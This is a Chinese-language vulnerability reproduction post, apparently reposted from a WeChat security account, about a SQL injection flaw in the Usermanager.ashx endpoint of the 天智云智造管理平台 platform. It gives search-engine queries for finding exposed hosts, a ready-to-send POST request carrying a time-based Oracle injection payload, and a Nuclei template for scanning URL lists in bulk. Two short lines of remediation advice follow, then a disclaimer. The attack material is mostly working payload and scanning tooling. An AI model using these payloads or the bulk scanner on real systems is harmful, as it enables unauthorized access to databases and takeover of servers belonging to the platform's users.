天智云智造管理平台/Ashx/Usermanager.ashx
接口存在SQL注入漏洞,攻击者可以通过漏洞获取服务器内敏感信息导致信息泄露,甚至通过漏洞写入木马病毒获取服务器权限。
- Fofa:
body="Ashx/Usermanager.ashx"
- Hunter
body="Ashx/Usermanager.ashx"
- Quake
body="Ashx/Usermanager.ashx"
-
SQL延时注入2秒
POST /Ashx/Usermanager.ashx HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
type=LOGIN&username=11') AND 3603=DBMS_PIPE.RECEIVE_MESSAGE(CHR(66)||CHR(100)||CHR(72)||CHR(107),2) AND ('WTiY'='WTiY&pwd=1&vendor=
-
延时4秒
-
Nuclei 批量检测POC -
所用方法 nuclei.exe -l 网址文件.txt -t POC.yaml
id: tzyun_Usermanager_SQL_injected
info:
name: tzyun_Usermanager_SQL_injected
author: security-xm
severity: high
description: 天智云智造管理平台/Ashx/Usermanager.ashx存在SQL注入漏洞
metadata:
max-request: 1
shodan-query: ""
verified: true
http:
- raw:
- |
@timeout: 30s
POST /Ashx/Usermanager.ashx HTTP/1.1
Host: {{Hostname}}
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
type=LOGIN&username=11') AND 3603=DBMS_PIPE.RECEIVE_MESSAGE(CHR(66)||CHR(100)||CHR(72)||CHR(107),4) AND ('WTiY'='WTiY&pwd=1&vendor=
redirects: true
matchers-condition: and
matchers:
- id: 1
type: dsl
dsl:
- 'duration>=4'
-
在Web应用防火墙中添加接口临时黑名单规则 -
联系厂商打补丁或升级版本。
原文始发于微信公众号(小明信安):【漏洞复现 | 含批量POC】天智云智造管理平台 Usermanager.ashx SQL注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论